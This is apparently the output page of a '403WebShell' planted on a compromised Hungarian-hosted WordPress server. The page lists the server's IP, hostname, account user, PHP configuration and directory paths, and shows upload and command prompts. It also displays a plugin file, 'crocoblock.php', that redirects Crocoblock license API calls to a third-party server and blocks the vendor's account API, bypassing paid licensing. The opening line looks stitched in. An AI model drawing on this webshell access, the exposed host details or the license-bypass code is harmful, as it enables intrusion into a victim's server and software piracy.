$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/crocoblock.php
<?php
/**
 * Crocoblock module.
 *
 * Redirects api.crocoblock.com and account.crocoblock.com license API
 * calls to GLS3. Covers the full Jet plugin suite (JetEngine, JetElements,
 * JetSmartFilters, JetBooking, etc.).
 *
 * Custom license system.
 * API domains: api.crocoblock.com, account.crocoblock.com
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Crocoblock license module.
 */
class Crocoblock extends AbstractModule {

	/**
	 * Known Jet plugin basenames to detect Crocoblock presence.
	 *
	 * @var string[]
	 */
	private const JET_PLUGINS = array(
		'jet-engine/jet-engine.php',
		'jet-elements/jet-elements.php',
		'jet-smart-filters/jet-smart-filters.php',
		'jet-theme-core/jet-theme-core.php',
		'jet-menu/jet-menu.php',
		'jet-blog/jet-blog.php',
		'jet-blocks/jet-blocks.php',
		'jet-tabs/jet-tabs.php',
		'jet-tricks/jet-tricks.php',
		'jet-popup/jet-popup.php',
		'jet-search/jet-search.php',
		'jet-woo-builder/jet-woo-builder.php',
		'jet-booking/jet-booking.php',
		'jet-appointments-booking/jet-appointments-booking.php',
		'jet-reviews/jet-reviews.php',
		'jet-woo-product-gallery/jet-woo-product-gallery.php',
		'jet-compare-wishlist/jet-cw.php',
		'jet-style-manager/jet-style-manager.php',
		'crocoblock-wizard/crocoblock-wizard.php',
	);

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'crocoblock';
		$this->name        = 'Crocoblock';
		$this->description = 'Manages Crocoblock (Jet plugins) license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'jet-engine',
			'plugin_file' => 'jet-engine.php',
		);
		$this->target_id   = '';

		$this->blocked_domains = array(
			'account.crocoblock.com/api/' => self::generic_block(),
		);
	}

	/**
	 * Check if this module should load.
	 *
	 * Overrides default to check for any Jet plugin, not just one.
	 *
	 * @return bool
	 */
	public function should_load(): bool {
		if ( ! $this->has_api_access() || ! $this->is_enabled() ) {
			return false;
		}

		foreach ( self::JET_PLUGINS as $plugin ) {
			if ( is_plugin_active( $plugin ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Initialize module — redirect API calls to GLS3.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://api.crocoblock.com', HELLOPACK_GLS3_URL . '/crocoblock' );
		ApiRedirector::create( 'https://account.crocoblock.com', HELLOPACK_GLS3_URL . '/crocoblock' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit